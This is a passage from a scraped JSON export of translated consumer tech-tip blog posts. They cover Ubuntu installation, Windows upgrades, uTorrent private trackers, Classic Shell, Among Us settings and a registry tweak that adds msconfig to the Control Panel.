the car, choose the race they want to join. Their mission is to control their vehicle so that it reaches its destination first. Microsoft redesigned the Miami Street race with more streamlined racing cars to make the race even more exciting.\n   During the game, users are allowed to collect items and upgrade their cars for competitions.\nMicrosoft said that the controls will be arranged to be the most familiar and easiest to use for gamers. Another interesting point is that the game can synchronize between platforms.\nncG1vNJzZmismaXArq3KnmWcp51ks7C%2B2ZpkrKyimrK1ecyimquno6Sztb%2BMm5ysrF2nrqS1zaBkoJmdmnqqv4yarZqhnJavrbGMoqVmr5mjsbDD0mZoaWWRobmww8innmaen6d6p77EnmSdp6ejubCtww%3D%3D\n","link":"/post/forza-street-microsoft-s-best-racing-game-is-available-in-windows-10-allowing-for-free-download/","section":"post","tags":null,"title":"Forza Street, Microsoft's best racing game is available in Windows 10, allowing for free download"},{"body":"Recently, iflix - the leading online movie watching service in cooperation with Viettel launched a very attractive promotion program. Accordingly, users of Viettel prepaid and postpaid cards can receive 3 months free of charge if using movie service iflix. Normally, you have to pay VND 59,000 per month to fully view copyrighted movies on iflix, but with this promotion you will have the opportunity to experience thousands of attractive movies with copyright without lost a dime. It is fascinating right? So if you are using Viettel sim, follow the steps below to get 3 months free to watch movies on iflix.\nInstructions for registering 3 months to watch free movies on iflix by sim Viettel Note: Promotions only apply to you who are using Viettel's Promotion Sim, other network operators do not receive this offer.\nTo sign up for a 3-month promotion package to watch free movies, follow these steps:\nStep 1:\nDownload iflix app phone via the corresponding link below.\nDownload iflix app for Android. Download the iflix app for iOS. Step 2:\nOpen the application, then register for an iflix account or log in if you already have an account (only use 3G or 4G networks to identify the network in use of Viettel).\n Step 3:\nAt the main interface of the application, if you are using Viettel 3G or 4G, you will receive the notice as below, click on the Get promotion button now.\n  Step 4:\nEnter the Viettel subscriber number you are using and click on the Request pin code item to get the activation code.\n  Step 5:\nThe system will send you a PIN message, you need to enter this pin to receive 3 months of free movie viewing on iflix.\n  Step 6:\nReceiving a successful activation message like the one in the picture, you can experience and watch thousands of copyrighted movies immediately.\n  Note:\nNot only iOS or Android, if you use a computer, you can also use iflix service via web platform at: https://piay.iflix.com/\nThus, with the 3-month iflix free registration instruction with Viettel sim as above, you will have three months of free use of iflix enough to experience many good movies. In addition, you can also add 3 months of free movie viewing on the iflix if following the instructions in the article How to sign up for 6 months free to watch copyrighted movies on iFlix.\nI wish you all fun movies!\nMaybe you are interested:\n5 simple steps to watch movies with extra to Vietnamese on Netflix Applications to watch movies online on the phone Application to watch 3D movies on the phone How to check movie showtimes right on Zalo application ncG1vNJzZmismaXArq3KnmWcp51ktKbAjGxkpqeeqbW0ec6fZJ%2BqlZp6rrvVopysZZ%2Bjeqqyy6KvZq%2BZqbVuwsieq62dnGLAqrk%3D\n","link":"/post/get-3-months-of-free-movies-on-iflix-with-viettel-sim/","section":"post","tags":null,"title":"Get 3 months of free movies on iflix with Viettel sim"},{"body":"It provides a functional desktop thanks to the GNOME desktop environment, a great collection of open source productivity tools (including LibreOffice), and receives regular security updates. Installation is similar to installing Windows on a computer, but it would be better to know what choices you will be faced with.\nHere is how to install Ubuntu on PC.\n5 ways to install Ubuntu How to install Ubuntu is up to you. You can install it on your PC (following the main part of this guide) or find another way to do it. As with most Linux distributions, Ubuntu can be installed on many devices.\nStep 1. Install Ubuntu on Windows PC\nStep 2. Install on Chromebook\nStep 3. You can even install on a MacBook or iMac\nStep 4. Ubuntu can be installed in a virtual machine\nStep 5. Amazingly, Ubuntu can even run on Raspberry Pi!\nJust like using the desktop, you can install Ubuntu Server to host data of all kinds, from games and websites to file servers. This is what makes Ubuntu Server different from Ubuntu desktop.\nSome other devices can also handle Ubuntu. The article will assume that you are using a standard Windows computer or laptop and want to install Ubuntu from scratch.\nGet started: Choose and download your preferred Ubuntu version There are usually two Ubuntu desktop operating systems at a time.\nLTS version (Long Term Support) Latest version The LTS version is released every 3 years. At the time of writing, the LTS is Ubuntu 20.04, but 3 non-LTS versions have been released since then.\nUbuntu is released in April and October each year, shown in version numbers. The April 2022 release will be Ubuntu 22.04, while the October release will be Ubuntu 22.10.\nSo, what is the difference between the LTS release and the latest version? Simple: the LTS version is more stable, but lacks the improvements found in newer versions (hence called 'long-term support').\nIf you want to use Ubuntu reliably every day, you should choose the LTS version. Otherwise, select the most recent non-LTS release.\nCreate installation media With the ISO file downloaded, it's time to create the installation media. Once this installation media is inserted and the target laptop or PC is restarted, the installation will begin.\nTo install Ubuntu on your computer, you can use:\nUSB SD card Whichever option you choose, make sure that there is an empty port on the target computer.\nYour operating system may have a built-in tool to create bootable installation media from an ISO file. If you don't know what it is or how to use it, the best option is to use Etcher.\nThis is a cross-platform software that can easily burn ISO files (or any other disk image) to USB.\nBoot computer from USB or SD card With the installation media connected to the target computer, reboot or power on. Hopefully it will detect the USB and give you the option to boot from it.\nOtherwise, you will need to access your computer's UEFI/BIOS [LINK] to edit the boot menu. In this case, you'll need to prioritize your USB or card reader (they're often considered the same thing in the BIOS) before your computer's hard drive or SSD.\nAfter the changes are made, restart the computer. This time, it will boot from the ISO file you burned to the USB or SD card.\nInstalling Ubuntu: A Look at the Options When your computer boots, you'll see a GRUB screen with 4 options:\nUbuntu Ubuntu (safe graphics) OEM install (for manufacturers) Test memory In most cases, select Ubuntu, use the arrow keys, and press Enter.\n  If your first Ubuntu installation fails and the error message is related to your computer's monitor or GPU (graphics card), try Ubuntu Ubuntu (safe graphics). Meanwhile, if you want to check if your PC's RAM is working properly, use the Test memory option. Once the process is complete, you can select Ubuntu and continue with the installation.\nThe installation environment will start and you will see the Install screen.\n  Choose your preferred language, then click Install Ubuntu.\nTry Ubuntu to test the live environment If you choose Try Ubuntu, you will soon see the Ubuntu desktop.\nHowever, this is not a genuine desktop but a \"live\" environment. Instead of being installed on an HDD or SSD, Ubuntu is running from system RAM. This gives you the option to go through and capture some settings and options.\nFor example, you can adjust the desktop background or launch a browser and access the Internet.\nIf you have never used Ubuntu before, this is a good opportunity to learn more about it before installing.\nIf everything seems to be working fine in the live environment, you're ready to move on. Look for the Install Ubuntu option on the desktop and double-click it.\nInstall Ubuntu in 7 steps The Ubuntu 22.04 LTS installer makes installing the operating system simple. It can be completed in 7 stages.\n1. Keyboard Layout Choose your keyboard layout. This option should usually match the physical keyboard you own.\n  Click Continue.\n2. Updates and Other Software Identify the applications and updates you want to install with the operating system. You can choose Normal installation with media tools and Office software or Minimal installation without these.\nYou can also choose Download updates while installing Ubuntu, which saves time after installation. For advanced users, there is also the option to Install third-party software for graphics and Wi-Fi hardware and additional media formats. This includes things like drivers for NVIDIA GPUs.\n  Click Continue after you make your choice.\n3. Installation Type Choose between Erase disk and install Ubuntu or Something else. The first option has the Advanced features option, which allows the selection of non-standard file tables. The second option gives you tools to create and resize partitions.\n  Click Install Now to continue.\n4. Write the Changes to Disks? The installer will confirm the selections you've made to the drive (Ubuntu formats two partitions by default).\n  Click Go Back to make changes or Continue to continue with the installation.\n5. Where are you? Use the map to select the correct time zone or enter the city closest to your location in the text field.\n  Click Continue when you're done.\n6. Who Are You? You are now ready to enter your name, give your computer a name, and choose a username and password. If you are using a work or school network, you may need to select the Use Active Directory check box.\n  Click Continue and enjoy the Ubuntu 22.04 LTS Jammy Jellyfish welcome screen.\n7. Restart A few minutes later, the process will complete and you will be prompted to Restart Now to start using your new Ubuntu computer.\n  When the computer restarts, you will be asked to remove the installation media. Make sure the drive is unmounted before pressing Enter.\nAs noted, Ubuntu can be installed on almost any computer you can think of. But the easiest and simplest way to install it is on a PC or laptop - where the Ubuntu desktop operating system works best.\nInstalling Ubuntu is generally very simple, although your experience may be different, especially if you have special hardware. However, installing Ubuntu is easy and you can get your computer up and running in under 30 minutes.\nNow it's time to install the right software.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmrJutnqnCbn6RaWtmpKSoerC6jKmaZqeiYrmivNOopw%3D%3D\n","link":"/post/how-to-install-ubuntu-22-04-lts-on-pc-or-laptop/","section":"post","tags":null,"title":"How to install Ubuntu 22.04 LTS on PC or laptop"},{"body":" This wikiHow teaches you how to record your Windows 10 screen using the built-in Xbox Game Bar or a free app called FlashBack Express Recorder. Open the Game Bar app. You can do so by clicking Xbox Game Bar in the Start menu, or by typing...\nMethod 2of 2:\nUsing FlashBack Express Recorder  Install FlashBack Express from the FlashBack website. There are a variety of free apps that can record your screen if the Xbox Game Bar doesn't work on your computer. FlashBack Express is one of them. To download the app:[2] Click CONTINUE TO EXPRESS below the purple button near the center of the page. Click GET EXPRESS – FREE. Save the installer to your computer. Double-click the installer and follow the on-screen instructions to complete the installation.   Open FlashBack Express Recorder. You'll find it in the Start menu inside a folder called Blueberry Software.\n  Click Record Your Screen. This opens a panel with customization options.\n  Choose what you want to record. To record the whole screen, select Full screen from the ″Record″ drop-down menu. Select Window if you just want to record use of a single app. Select Region if you'd like to select an area of the screen to record. To record your webcam, check the box at the bottom of the window that says ″Record Webcam.″   Select which sound to record. If you don't want to record sound, remove the check mark from the ″Record Sound″ box. To record sounds using your computer's microphone, leave the ″Microphone″ option checked. If you don't want your recording to pick up your own voice (or sounds within your space), remove the check mark next to this option. To record sounds coming from your computer (such as in-app sounds), check the ″Default PC Speakers″ box (or select your speakers).   Click Record when you're ready to start recording. If you're recording the full screen, a countdown will appear. When the countdown is complete, everything on the screen will be recorded. If you're recording one window, you'll be prompted to click the window you want to record, and then click Record. The recording will begin once the countdown is complete and a progress bar will be displayed. If you're recording a region of the screen, follow the on-screen instructions to select which part of the screen to capture, and then click Record. The recording will begin once the countdown is complete and a progress bar will be displayed.   Click the red square when you're finished recording. It's on the progress bar. A pop-up window will appear, asking what you want to do.\n  Click Save to save the recording. You'll be prompted to save the recorded video to a folder called FlashBack Movies in the Documents folder, but you can select a different location in the left panel. Click Save after selecting a folder.\n  Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmLyzsIyypq6qXaiws7HEp2Sipl2stq%2BwzrCqZmlg\n","link":"/post/how-to-record-your-screen-in-windows-10/","section":"post","tags":null,"title":"How to Record Your Screen in Windows 10"},{"body":"When it comes to the music streaming app market, Spotify is now the real king with hundreds of millions of regular users worldwide. In particular, if only the number of paid subscribers of Spotify alone, this number has reached 155 million.\nOf course, like many other platforms, Spotify allows premium users to use all necessary features and utilities on the application. In contrast, free Spotify users only have extremely limited access to the app's feature store, and will especially constantly have to watch and listen to ads. Ads on Spotify usually pop up automatically, greatly affecting your enjoyment of music.\nBy using an app called Mutify that automatically mutes ads on Spotify Android and prevents them from spoiling my listening mood.\nInstall the Mutify app First, it must be asserted that Mutify is not a pure ad-blocking app, so it is virtually impossible to truly block ads thoroughly on some particular platforms (such as Spotify).\nInstead, Mutify will automatically detect and turn off the ad audio entirely to avoid it startling or annoying you. The app is completely free, stable, easy to use, and of course, has no ads.\n  In short, Mutify doesn't block Spotify ads, but only mutes ads as it plays. If you think that's okay, let's start installing the app.\nGo to the Google Play Store on your Android device, download the Mutify app here, and download it to your device.\nOnce the installation is complete, you can open the app to explore. However, you should do a few presets to help the application work best.\nTurn off battery optimization for Mutify The Mutify app must work in the background to keep Spotify ads silent. This conflicts with Android's default battery optimization feature - which is set up to prevent apps from actively using phone memory for a certain period of time.\nTo disable this feature with Mutify, navigate to the ' Optimize battery usage ' section of the system. How to access this item will differ slightly depending on the Android device you are using, but it is usually basically in the Settings \u0026gt; Battery section .\nWhen the 'Optimized battery usage' window opens, you will see a full list of all apps using resources on your phone.\nSlide the slider corresponding to Mutify to the left (gray), then exit the Settings app.\n  Set up in Mutify Enable the 'Device Broadcast Status' feature Mutify can only work if Spotify's 'Device Broadcast Status' feature is enabled.\nNow, open the Mutify app and tap the 'Open Spotify' button that appears in the on-screen notification.\n  Or you can also open the Spotify app directly and tap the gear icon in the upper right corner. This will open the Spotify settings menu where you will see the 'Device Broadcast Status' feature, enable it.\nTurn on the 'Mute' feature Finally, after you've completed all the preparations above, open Mutify again and click on ' I Did It '.\nNext, flip the switch to the right to enable \" Mute Ads \". This will keep Mutify active in the background ready to turn off Spotify ad sounds as soon as it appears. If you're concerned about the Mutify battery drain issue - completely insignificant, as it's an extremely lightweight application that consumes very little system resources.\n  Besides, if you want to optimize the battery even further, don't forget to turn on Mutify's dark mode by tapping the settings icon in the upper right corner of the screen and ticking the 'Dark-Only Mode' option.\n  All that is it, wish you all the time listening to music without being disturbed.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZJqcppq%2FtbXSoqWgZaOkwq%2Bw0mamp2Wjpby1tcWyZJqmlKe8qrCMsKCtoF2ptaZ5zK6rop6pYq6xvA%3D%3D\n","link":"/post/how-to-turn-off-advertising-sounds-on-spotify-android-with-the-mutify-app/","section":"post","tags":null,"title":"How to turn off advertising sounds on Spotify Android with the Mutify app"},{"body":"On the heels of a reset of the Omen gaming brand and a new gaming desktop, HP announced a complete redesign of its 15.6-inch laptop, the Omen 15. Available today from Best Buy and directly from HP starting at $1,000, the updated design has its smallest footprint yet, but it's filled with the latest components from Intel and AMD.\u0026nbsp;\nThe laptop is built around a 15.6-inch display with slim bezels on three sides and a new 180-degree flat hinge design that increases stability, HP said. Display options include UHD resolution with a 120Hz refresh rate or FHD resolution at 300Hz as well as an OLED display.\u0026nbsp;\n  There are quite a few other choices you can make with the Omen 15's configuration such as getting it with up to an Nvidia GeForce RTX 2070 Super with Max-Q design, up to a\u0026nbsp; 10th-gen Intel Core i7 H-series processor or up to an AMD Ryzen 7 H-series processor. Configuring it with up to 32GB DDR4 of RAM and up to 1TB PCIe SSD or dual PCIe SSDs in RAID 0 are also on the table, although HP said its made both memory and storage easy to upgrade post-purchase.\u0026nbsp;\nThe Omen 15 is also the industry's first gaming laptop to use an IR thermopile sensor \"to optimize thermal efficiencies, maintain steady yet quiet fan acoustic control, and maximize performance from the Dynamic Power feature within the Omen Command Center\" app, HP said. The PC maker says the cooling helps push this laptop toward \"desktop-level CPU performance,\"\u0026nbsp;\n  HP also updated one of my favorite cheap gaming laptops, too, by giving it a larger screen. The new Pavilion Gaming 16 has nearly the same footprint as last year's 15.6-inch Pavilion Gaming 15 but now has a 16.1-inch full-HD display with 300-nit brightness and up to a 144Hz refresh rate. Though it's aimed at more casual mainstream gamers, you'll be able to get it with better-than-entry-level graphics including an Nvidia GeForce GTX 1660 Ti with Max-Q design or an RTX 2060 with Max-Q, and a choice of a 10th-gen Intel Core i5 or Core i7 processor. A 300 nits IPS-level display deliver rapid refresh rates of up to 144Hz at 1080p\nThe HP Pavilion Gaming 16 is expected to be available this June via HP.com at a starting price of $799.99.\nncG1vNJzZmismaXArq3KnmWcp51ktbG%2FjKecsGWforKveZBuZKCZnZ67qHnLmqetp6BivbO7zKKqnqtdl7aoec%2BeqZ%2BnoqKur6%2FEZqCnZZFiwK6ty6Wcq2Wjnsem\n","link":"/post/hp-s-new-omen-15-gaming-laptop-promises-big-performance-in-a-smaller-size/","section":"post","tags":null,"title":"HP's new Omen 15 gaming laptop promises big performance in a smaller size"},{"body":"It's hard to believe that Windows XP has a life of more than 15 years. If you still use this operating system and want to upgrade to Windows 7 or Windows 10 to be able to use new features, better protection and software support. This article will show you how to upgrade Windows 7 or Windows 10 and the process is similar. You need to make sure your hardware supports newer operating systems, back up data and then proceed with the upgrade.\nHow to upgrade Windows XP to Windows 7 or Windows 10 1. Check hardware compatibility 2. Back up important data 3. Install the new operating system 4. Restore data and programs 1. Check hardware compatibility The first thing you need to do is check if your hardware is compatible. This depends on the components in your system.\nTo check, press the Windows + R key to open the Run dialog box, enter dxdiag and click OK . This will launch the diagnostic tool, providing information about the components you have installed. You will find the necessary information in the System and Display tab.\n  Compare your current components with Windows 7 or Windows 10 requirements.\nWindows 7 system requirements:\n1GHz processor (32 bit or 64 bit) 2GB (32 bit) RAM or 2GB (64 bit) Disk space available 16GB (32 bit) or 20GB (64 bit) DirectX graphics device with WDDM driver 1.0 or higher. Windows 10 system requirements:\n1GHz processor or SoC 1GB (32 bit) RAM or 2GB (64 bit) Disk space available 16GB (32 bit), 20GB (64 bit) DirectX 9 graphics card or newer with WDDM 1.0 driver Another method you can use if you intend to upgrade to Windows 7 is to download and run the Windows 7 Upgrade Advisor. This program scans hardware, devices and software to find compatibility issues and gives appropriate advice. However, there is no software for Windows 10.\nIf you have been using the Windows XP system for a long time and have not upgraded any part, you may not be able to run a newer operating system. Do a search for the system component in the manufacturer's website to make sure they provide drivers that support Windows 7 or Windows 10. If not, you should consider buying a new desktop or laptop computer with Windows installed. ten.\n2. Back up important data If you are upgrading from Windows 8 to Windows 10, this upgrade process allows you to keep your programs and personal data. However, you cannot do this when upgrading from Windows XP. You will have to perform a new installation, which means your personal data will be erased. Therefore, before upgrading, you should back up the data.\n  If upgrading from Windows XP to Windows 7, you can use the Windows Easy Transfer tool to copy files, photos, music, emails, settings and more. When launching the application, you will see a wizard that explains how to do it and asks you to choose the method to use to transfer data. You should use an external hard drive or flash drive to choose what you want to transfer.\nWindows 10 does not support the Easy Transfer tool but there are many other easy ways you can use to back up files. You can use physical storage or cloud. The data that is not backed up will be permanently lost so carefully select what you want to save. Most people pay attention to saving user folders containing photos, videos, etc., but you should also keep in mind the specific programs you need to keep.\nSee also: 6 safe ways to backup and restore data on Windows 7 and Windows 8\n3. Install the new operating system Once your system has met the requirements and backed up everything you need, it's time to install the new operating system. If you have a license key of Windows 7 or Windows 10 without physical means, you need to download the Windows 7 or Windows 10 ISO file. These discs will guide you through the process of creating the installation media yourself, so you A Windows USB disk / USB disk can be booted.\nYou can refer to some of the following articles:\nInstructions for creating USB boot with Hiren's BootCD quickly How to create USB Boot, USB install Windows by Rufus After creating the boot USB, you can read the article How to check the USB Boot has been created successfully or not? to test and if successful plug it into your system. Now you need the computer to boot from that medium by restarting the computer and accessing the BIOS.\n  To access the BIOS you need to press a specific key and each operating system uses a different key, usually the Delete or Function key. Access the BIOS and change the boot device order to your installation media at first. You can refer to the article How to set up BIOS to boot from USB / CD / DVD, external hard drive.\nOnce completed, you will be taken to the Windows 7 or Windows 10 installation process. If notified, make sure to install the copy of Windows, not the upgrade because it will not work.\n  Set the language, name, settings, etc. then wait for the installation process to complete and the system will automatically restart and enter the new operating system.\n4. Restore data and programs Now that you are using the new operating system, the next step is to restore the program and personal data. If using the Easy Transfer tool, launch it on Windows 7 and follow the instructions. If backing up data in another way, copy them on the new system.\nGood luck!\nSee more:\nInstructions for upgrading Windows 7 to Windows 8 and Windows 8.1 Instructions on how to upgrade from Windows XP to Windows 8 How does Windows 7, 8 not automatically upgrade to Windows 10? ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWatoJy%2ForDIp55mr5mjsbDD0mavqWWkpHq4tc2dprCrXWx6sL6MsKCnnJ%2BswG59jw%3D%3D\n","link":"/post/instructions-for-upgrading-windows-xp-to-windows-7-or-windows-10/","section":"post","tags":null,"title":"Instructions for upgrading Windows XP to Windows 7 or Windows 10"},{"body":"The new feature - EcoQoS - is currently in beta with Windows Insiders, promising to make Windows 10 more efficient.\nAccording to Raymond Li, program manager of Windows Fundamentals, the EcoQoS feature helps with better energy consumption, power reduction and heat regulation. This is a big change, especially for gamers, because their computers require high performance or high clock speeds, battery buffering and low noise. The improved battery life means less power is consumed by the CPU.\nWith EcoQoS, Windows 10 can solve power saving problems, especially processes that don't need constant high CPU performance or consume power from the battery. Windows can use EcoQoS to schedule programs to run more efficiently by configuring a CPU to run automatically at a more efficient clock speed. into what's important and doesn't stop you from completing your work.\n  In Microsoft tests, this feature has been shown to reduce CPU power consumption by up to 90% and only use half of the CPU power to get certain tasks done. The benefits that EcoQoS offers include background services, updaters, synchronization engine, and indexing service. But the premise is that developers must incorporate APIs into their applications.\nOf course, whether the feature is allowed to work or not is up to the developers. Currently, EcoQoS is only compatible with Intel 10th and 11th generation mobile processors, AMD's Ryzen 5000 series processors, and Qualcom. In the near future, Microsoft may apply this feature to desktops and servers.\nEcoQoS is part of Microsoft's plan to reduce carbon emissions by 2030.\nncG1vNJzZmismaXArq3KnmWcp51ku6bDjLCgp5yfrMBufY9mnZ6ZpKq%2FpnnHnqOpq12axbWxzZ1km5mkqbKzxYyloJ%2BdXZa7pXnRnpuum5Vis6K6jKemoquV\n","link":"/post/new-windows-10-feature-helps-extend-battery-life-and-reduce-fan-noise/","section":"post","tags":null,"title":"New Windows 10 feature helps extend battery life and reduce fan noise"},{"body":"Microsoft has announced plans to provide the first fix of Service Pack 1 of the Office 2013, SharePoint 2013 and Exchange 2013 software suites in early 2014.\nChris Schneider, Microsoft Office Product Marketing Manager, said Office 2013 Service Pack 1 (SP1) will be released with a fix for SharePoint and Exchange, the two most important software products for the machine. owner integrated in Office office environment.\n  Office 2013 SP1 will have more features for Word, Excel, PowerPoint software . Photos: Creative-jar.\nOffice 2013 SP1 will improve compatibility with the newly released Windows 8.1 operating system, support Windows Server 2012 R2 for Exchange and SharePoint, many general performance improvements and more features updates for all Office 2013 products such as Word, Excel, PowerPoint .\nMicrosoft started selling Office 2013 office suite from the end of January 2013. If it is exactly like the 2007 2007 release schedule of Office 2007 and Office 2010 was usually released 13 months after the original version was released, then it is not until the end of February 2013 that Office 2013 SP1 will be officially introduced Introduction\nTypically, Service Packs, whether for Windows, Office or any other Microsoft software, gather a lot of security patches or fixes other than the previous versions.\nncG1vNJzZmismaXArq3KnmWcp51kvKeyyJycZmpgZoBuv89qZLChnKF6o7GMq5ylnZGosqV5xJqppbFdo7K5wIyynJqq\n","link":"/post/office-2013-sp1-will-be-released-early-next-year/","section":"post","tags":null,"title":"Office 2013 SP1 will be released early next year"},{"body":"In the next series of BitTorrent, TipsMake.com will introduce you how to share data files with large capacity but still ensure their privacy using uTorrent . Prepare: Important information to be prepared is your exact IP address here:\n If your system already has DNS services like DynDNS.com , use the DNS URL directly instead of the IP address above. Next, find out exactly which port on the computer is used to accept incoming connections, whether those ports are open or not. Start uTorrent and select Options\u0026gt; Preferences\u0026gt; Connections:\n Next to the Port used for incoming connections text is the value of the port, save this information, then use uTorrent Port Checker, enter the address and click Submit , if all goes well will receive the following message (keep uTorrent active):\n If it doesn't work, you need to reset some information in the router. And finally, enable uTorrent's built-in tracker feature. Also in the Preferences section, you select the Advanced tab:\n At line bt.enable_tracker , you change the value to True , click OK and restart uTorrent to apply the change. Create Private Torrent file: When the basic steps are complete, we will embark on creating the necessary torrent file. Open uTorrent\u0026gt; File\u0026gt; Create New Torrent, fill in the correct IP address, port and tracker information with the system, as shown below:\n As you can see, we fill in the information in the Trackers section as follows:\nhttp:/// ipaddress: port / announce http:/// localhost: port / announce The part of localhost with technical specifications is responsible for notifying uTorrent that all the active computers connected to it are valid trackers, make sure that the Private torrent feature has been thoroughly checked - prevent preventing torrent file sharing using other methods such as PEX and DHT. For added security, it is possible to add an outgoing connection encryption method. At Options\u0026gt; Preferences\u0026gt; BitTorrent:\n Next to the Outgoing item, select Forced and uncheck the box at Allow incoming legacy connections. Some important things to note are the following: - Always keep uTorrent active - IP address cannot be changed during seeding - Port value cannot be changed - If you apply the connection encryption method, the client program used on the remaining computers must also be set accordingly. Although uTorrent is not a program capable of creating a comprehensive sharing system that meets the needs of many people, but with a closed model of about 10 seeders, the whole operation is very stable. . It is suitable to share data between users and their friends without the need for a public tracker system as well as privacy on Windows and Mac OS X platforms. While Transmission has this function, if applicable Use uTorrent with WINE, Linux users do not need to worry too much.\nncG1vNJzZmismaXArq3KnmWcp51kr6rA06ipq52eqXq0tMCroKefXaGus7PEZpuarJFiwrS1zaBkqaqZq661sYytqZqbm5q%2F\n","link":"/post/sharing-large-data-using-private-tracker/","section":"post","tags":null,"title":"sharing large data using Private Tracker:"},{"body":"How can the strength of bleaching water make a cup of cola cola?\nCrazy Russian Hacker channel on youtube has released a video recording the experiment process when pouring bleaching water (Javel water) into a cup of coca cola.\nJavel water is a mixture of two NaCl and NaClO, this product of chemical reaction after we aerate Cl2 into NaOH solution.\n  NaClO salt is highly oxidizing, can break down the color pigments of substances so it is often used as a bleaching agent for fabric, paper in industry as well as in family. In addition, it is also used to disinfect barns in livestock and toilets due to its high antiseptic properties.\nCheck out the video below to verify the ability of Javen to remove color.\n  The original Cocacola water cup after adding Javel water looks like a regular glass of water.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02afmqigmru0edahnKdlnZ7FqrrGZpqom5FisLC4wGauoqyYYq%2BtscCcnw%3D%3D\n","link":"/post/what-happens-when-mixing-coca-cola-with-bleach/","section":"post","tags":null,"title":"What happens when mixing Coca Cola with bleach?"},{"body":"Classic Shell is a popular Start menu custom application with stability and ease of use and operation. If you're fed up with the default Start menu on Windows, you can use and \"change\" and customize the Start menu to make your desktop fresher.\n  1. What is Classic Shell?   Classic Shell is a collection of features available in older versions of Windows that allows you to customize the Start menu and Start button on Windows 7, 8, and 10.\nUsing Classic Shell is quite simple, you just need to install and follow the instructions as you can customize yourself a desired Start menu interface. In addition, Classic Shell helps you restore hidden features that Microsoft has removed on Windows, and you can use those useful hidden features to customize Windows your way.\nFirst, download the Classic Shell tool here and install http://www.classicshell.net/\nStep 1: Right-click the Start menu and select Settings .\n  Step 2: You select the Start Menu Style tab (1) and you select the Start menu template according to your preference in Select the style for the start menu  (2) . If you want to change the Start Menu icon, check the Replace Start button (3) and select your favorite icon. Then click OK (4) to finish.\n  Step 3: Go to Basic Setting . Here, you can change the functions of the shortcut, displaying hidden menus.\n  Step 4: Switch to Skin tab (1) , we can customize the interface of the Start Menu.\nYou click on Skin (2) and select the interface according to your preferences:\n-: Do not use the interface\n- Classic Skin: Classic interface\n- Metallic: Metal style interface (metal)\n- Midnight: The dark interface\n- Windows 8: Windows 8 interface\n- Windows Aero: Aero interface on Windows Vista, Windows 7\n  Step 5: Switch to the Customize Start Menu tab to customize the icons and functions of the icons displayed in the Start Menu.\nOn the left, we change the folder icons. On the right, we will use to change options like:\n- Do not display this item: Do not show this section\n- Display as a link: Display the folder and we click on that folder to open the subfolders inside.\n- Display as a menu: Display the main folder and subfolders inside.\nOnce completed, click OK to save.\n  With Classic Shell, you can customize the Start Menu interface quickly and simply, refreshing the boring interface of the default Start menu. Have you tried yet? Download Classic Shell, follow the instructions in the article and share your feelings about this software!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWToa60v8icZKyglaG5brTOsGStp12qwKZ5wqWYrKuZmHq0tMSlo2asn2Kwtr%2FTqKSispViuqa61Gamp2Wnnrulu9asZGpoXW16eA%3D%3D\n","link":"/post/what-is-classic-shell-how-to-use-classic-shell-to-customize-menu-on-windows-10-8-7/","section":"post","tags":null,"title":"What is Classic Shell? How to use Classic Shell to customize Menu on Windows 10, 8, 7"},{"body":"Among Us Mobile and Among Us PC is continuing to have a large number of players on both platforms. The game hasn't been updated yet and gamers are still creating fun around the game's available settings.\nAmong the game's installs, one option is Confirm Eject . This is an option to help you confirm that the person who was thrown is Impostor or not. This option seems simple and does not affect the game, but really knowing who was pushed out is Impostor or not will greatly affect the experience.\nWhy should enable / disable Confirm Eject in Among Us Among Us's default setting is to turn on Confirm Removal enabled. And every time someone gets the most votes, you will know if the player pushed out is an Impostor or not. Example Tipsmake was an impostor / was not the impostor.\n  \nThough this would confirm the group's suspicions about the character who had just been pushed out. But it will affect the rest of the Impostors in the party. And it would be a lot easier to determine who the rest of the group was the Impostor, as everyone knew that the one being pushed out was Impostor.\n  \nConversely, disabling a removal confirmation message will increase game stress and force players to just chase someone they have valid evidence.\nYou are most likely to encounter a situation of voting between two players accusing each other. Usually, these discussions end with the sentence \"If it's not a 2, then vote 1 to go, just throw it out and know the idea\".\n  But if the removal notification is turned off and the game has multiple Impostors, this will be changed and player 1 probably won't get a vote because it is not known if player 2 is an Impostor or not? This only works when the level has 2 or more Impostors because if player 2 is a fake, the game ends immediately.\u0026nbsp;\n  In general, the game gets more interesting with Reject Confirmation turned OFF. However, this option is also recommended only for players who have had experience with the game and doing various quests. Newbies can turn on Confirm Removal to get more familiar with the game mechanics.\nPlayers looking for a better experience in Among Us should play with a group of friends or go to Discord, gather familiar players and join a room of their own.\n  Of course, keeping quiet during play and after death is a must if you want an interesting gameplay. The game takes on a whole new level of anger and deception when all players can comfortably talk to each other during discussions.\nAmong us how to play among us ncG1vNJzZmismaXArq3KnmWcp51kxKnFjK2sq6ZdpLOnecKopZ%2BhoqJ6prbEnKusZZmjeqK5zqeeZq2j\n","link":"/post/why-turn-off-confirm-ejects-in-among-us/","section":"post","tags":null,"title":"Why turn off Confirm Ejects in Among Us?"},{"body":"If Control Panel and System Configuration are the tools you use often, how do you add msconfig to Control Panel? In the Registry, you can add System Configuration to the Control Panel on Windows 10. Microsoft has moved most features to Windows Settings. However, Control Panel is still an important part, and if you often use it on your computer, you should add many other options. Instead of running msconfig via the Run prompt, you can add it to the Control Panel.\nBy default setting on Windows, System Configuration is not in Control Panel, as shown below:\n The default options in Control Panel The System Configuration tool will tell you changes like the Startup selection, Safe boot, etc. And don't forget to export the Registry file and create a system restore point before changing anything in the Registry Editor.\nAdd System Configuration to the Control Panel Follow these steps to add the msconfig tool to the Control Panel on Windows 10\nOpen Notepad Paste the Registry value into it Choose File\u0026gt; Save As Choose where you want to save the file Name it with the .reg extension Select All Files from Save as type Click Save Double click on the file Select Yes in the UAC prompt Select Yes to complete the addition Details of the steps are as follows.\nFirst, you need to create a .reg file with the appropriate Registry values. To do so, open Notepad on your computer and paste the following commands:\nWindows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{D14ED2E1-C75B-443c-BD7C-FC03B2F08C15}] @=\"System Configuration\" \"InfoTip\"=\"Perform advanced troubleshooting and system configuration\" \"System.ControlPanel.Category\"=\"5\" 